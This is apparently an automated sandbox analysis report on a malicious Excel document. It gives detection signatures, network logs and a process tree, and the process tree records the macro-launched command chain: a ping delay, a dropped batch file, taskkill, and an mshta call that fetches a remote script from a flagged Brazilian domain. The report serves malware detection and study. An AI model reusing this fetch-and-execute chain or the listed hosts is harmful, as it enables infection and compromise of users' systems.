Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SecuriteInfo.com.Exploit.Siggen3.17149.14541.17953

Overview

General Information

Sample Name:SecuriteInfo.com.Exploit.Siggen3.17149.14541.17953 (renamed file extension from 17953 to xls)
Analysis ID:684614
MD5:c01ceb0fdd801bc10a95074dfda7bf03
SHA1:06a60c81777ceaeee0d0d4ac34d84ca2363e3f75
SHA256:06914357d09d54db3280e7336663f2f12c8aeb503845a07eed37e06be0853fe7
Tags:xlsx
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Antivirus / Scanner detection for submitted sample
Document exploit detected (creates forbidden files)
Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Machine Learning detection for sample
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Document contains an embedded VBA macro with suspicious strings
Document exploit detected (process start blacklist hit)
Queries the volume information (name, serial number etc) of a device
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Stores large binary data to the registry
Document contains an embedded VBA macro which executes code when the document is opened / closed
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
IP address seen in connection with other malware
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Potential document exploit detected (unknown TCP traffic)
Searches for the Microsoft Outlook file path
Uses a known web browser user agent for HTTP communication
Installs a global mouse hook
Creates a window with clipboard capturing capabilities
Uses taskkill to terminate processes
Document contains embedded VBA macros
Potential document exploit detected (performs HTTP gets)
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w7x64
  • EXCEL.EXE (PID: 2492 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
    • cmd.exe (PID: 2836 cmdline: cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
      • PING.EXE (PID: 2648 cmdline: ping -n 8 127.0.0.1 MD5: 5FB30FE90736C7FC77DE637021B1CE7C)
      • cmd.exe (PID: 2524 cmdline: cmd /c start /min taskkill /f /im WINWORD.EXE MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
        • taskkill.exe (PID: 2952 cmdline: taskkill /f /im WINWORD.EXE MD5: 3722FA501DCB50AE42818F9034906891)
      • mshta.exe (PID: 500 cmdline: mshta http://facextrade.com.br/wp-includes/certificates/4.txt MD5: 95828D670CFD3B16EE188168E083C3C5)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Multi AV Scanner detection for submitted file
Source: SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsVirustotal: Detection: 50%Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsMetadefender: Detection: 29%Perma Link
Source: SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsReversingLabs: Detection: 41%
Antivirus / Scanner detection for submitted sample
Source: SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsAvira: detected
Antivirus detection for URL or domain
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0ET4.0E)amAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/img/next.pnghttp://facextraAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6aAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.20E)0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3anguAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.203JAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0ery(documIAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20;0?tAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0C:Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/#contatoscAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3ET4.0C;Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jqueryPAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1Avira URL Cloud: Label: malware
Source: https://facextrade.com.br/feed/Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0gFAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txt.6.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.202.1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0oAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3C:Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0.NET4.0E)CAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3&Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css.COM;.Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngery.flexslider-min.js?Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/;?sAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.pngAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtmshtaAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.01(Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/5%Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txtsmshtaAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6019C:Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3ET4.0E)rCAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.46.0ET4.0E)Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.00.6Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txty-policy.9.20lAvira URL Cloud: Label: malware
Source: https://facextrade.com.br/qAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20r=4.Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4.txt...ssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.jplayer.min.js?ver=2.6.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3n.js?ver=1Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4?ver=2.1.0yFAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6pngAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/4Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/:Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/style.csscsspAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0http://facextrade.cAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/=Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/certificates/privacy-policyflateRAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.csscexAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.jsAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0er=2.6.00.9.3WinAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0http://facextraAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20cssAvira URL Cloud: Label: malware
Source: https://facextrade.com.br/5Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png5Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/gtranslate/arrow_down.png/Avira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.cssAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/themes/CherryFrameworkAvira URL Cloud: Label: malware
Source: https://facextrade.com.br/wp-admin/admin-ajax.phpustomAvira URL Cloud: Label: malware
Source: http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: facextrade.com.brVirustotal: Detection: 5%Perma Link
Machine Learning detection for sample
Source: SecuriteInfo.com.Exploit.Siggen3.17149.14541.xlsJoe Sandbox ML: detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
Source: unknownHTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.22:49178 version: TLS 1.2

Software Vulnerabilities

barindex
Document exploit detected (creates forbidden files)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\Public\Outlook.batJump to behavior
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Windows\System32\cmd.exe
Source: global trafficDNS query: name: facextrade.com.br
Source: global trafficDNS query: name: facextrade.com.br
Source: global trafficDNS query: name: netdna.bootstrapcdn.com
Source: global trafficDNS query: name: translate.google.com
Source: global trafficDNS query: name: storage.ie6countdown.com
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 104.18.10.207:80 -> 192.168.2.22:49173
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49177 -> 142.250.181.238:80
Source: global trafficTCP traffic: 142.250.181.238:80 -> 192.168.2.22:49177
Source: global trafficTCP traffic: 192.168.2.22:49177 -> 142.250.181.238:80
Source: global trafficTCP traffic: 192.168.2.22:49177 -> 142.250.181.238:80
Source: global trafficTCP traffic: 142.250.181.238:80 -> 192.168.2.22:49177
Source: global trafficTCP traffic: 142.250.181.238:80 -> 192.168.2.22:49177
Source: global trafficTCP traffic: 192.168.2.22:49177 -> 142.250.181.238:80
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49171
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
